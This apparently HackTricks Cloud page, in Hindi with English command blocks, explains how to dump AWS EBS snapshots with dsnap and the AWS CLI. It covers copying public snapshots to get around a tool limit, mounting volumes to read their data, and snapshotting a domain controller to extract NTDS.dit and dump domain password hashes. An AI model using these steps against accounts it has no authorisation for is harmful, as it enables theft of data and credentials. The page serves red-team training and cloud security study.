AWS - EBS Snapshot Dump
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
एक स्नैपशॉट को स्थानीय रूप से जांचना
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
caution
नोट कि dsnap
आपको सार्वजनिक स्नैपशॉट डाउनलोड करने की अनुमति नहीं देगा। इसे बायपास करने के लिए, आप स्नैपशॉट की एक प्रति अपने व्यक्तिगत खाते में बना सकते हैं, और उसे डाउनलोड कर सकते हैं:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
इस तकनीक के बारे में अधिक जानकारी के लिए मूल शोध देखें https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
आप इसे Pacu के साथ ebs__download_snapshots मॉड्यूल का उपयोग करके कर सकते हैं
AWS में एक स्नैपशॉट की जांच करना
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
इसे आपके नियंत्रण में एक EC2 VM में माउंट करें (यह बैकअप की कॉपी के समान क्षेत्र में होना चाहिए):
चरण 1: आपके पसंदीदा आकार और प्रकार का एक नया वॉल्यूम EC2 –> वॉल्यूम्स पर जाकर बनाया जाना है।
इस क्रिया को करने के लिए, इन कमांड का पालन करें:
- EC2 इंस्टेंस से जोड़ने के लिए एक EBS वॉल्यूम बनाएं।
- सुनिश्चित करें कि EBS वॉल्यूम और इंस्टेंस एक ही जोन में हैं।
चरण 2: बनाए गए वॉल्यूम पर राइट-क्लिक करके "अटैच वॉल्यूम" विकल्प का चयन किया जाना है।
चरण 3: इंस्टेंस टेक्स्ट बॉक्स से इंस्टेंस का चयन किया जाना है।
इस क्रिया को करने के लिए, निम्नलिखित कमांड का उपयोग करें:
- EBS वॉल्यूम को अटैच करें।
चरण 4: EC2 इंस्टेंस में लॉगिन करें और कमांड lsblk
का उपयोग करके उपलब्ध डिस्क की सूची बनाएं।
चरण 5: कमांड sudo file -s /dev/xvdf
का उपयोग करके जांचें कि वॉल्यूम में कोई डेटा है या नहीं।
यदि उपरोक्त कमांड का आउटपुट "/dev/xvdf: data" दिखाता है, तो इसका मतलब है कि वॉल्यूम खाली है।
चरण 6: कमांड sudo mkfs -t ext4 /dev/xvdf
का उपयोग करके वॉल्यूम को ext4 फाइल सिस्टम में फॉर्मेट करें। वैकल्पिक रूप से, आप कमांड sudo mkfs -t xfs /dev/xvdf
का उपयोग करके xfs फॉर्मेट भी कर सकते हैं। कृपया ध्यान दें कि आपको या तो ext4 या xfs का उपयोग करना चाहिए।
चरण 7: नए ext4 वॉल्यूम को माउंट करने के लिए अपनी पसंद का एक डायरेक्टरी बनाएं। उदाहरण के लिए, आप "newvolume" नाम का उपयोग कर सकते हैं।
इस क्रिया को करने के लिए, कमांड sudo mkdir /newvolume
का उपयोग करें।
चरण 8: कमांड sudo mount /dev/xvdf /newvolume/
का उपयोग करके वॉल्यूम को "newvolume" डायरेक्टरी में माउंट करें।
चरण 9: "newvolume" डायरेक्टरी में डायरेक्टरी बदलें और वॉल्यूम माउंट को मान्य करने के लिए डिस्क स्पेस की जांच करें।
इस क्रिया को करने के लिए, निम्नलिखित कमांड का उपयोग करें:
- डायरेक्टरी को
/newvolume
में बदलें। - कमांड
df -h .
का उपयोग करके डिस्क स्पेस की जांच करें। इस कमांड का आउटपुट "newvolume" डायरेक्टरी में फ्री स्पेस दिखाना चाहिए।
आप इसे Pacu के साथ ebs__explore_snapshots
मॉड्यूल का उपयोग करके कर सकते हैं।
AWS में एक स्नैपशॉट की जांच करना (cli का उपयोग करके)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
कोई भी AWS उपयोगकर्ता जिसके पास EC2:CreateSnapshot
अनुमति है, वह डोमेन कंट्रोलर का स्नैपशॉट बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे इंस्टेंस पर माउंट करके जिसे वह नियंत्रित करता है और NTDS.dit और SYSTEM रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए उपयोग करने के लिए निर्यात कर सकता है।
आप इस हमले को स्वचालित करने के लिए इस उपकरण का उपयोग कर सकते हैं: https://github.com/Static-Flow/CloudCopy या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं।
References
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।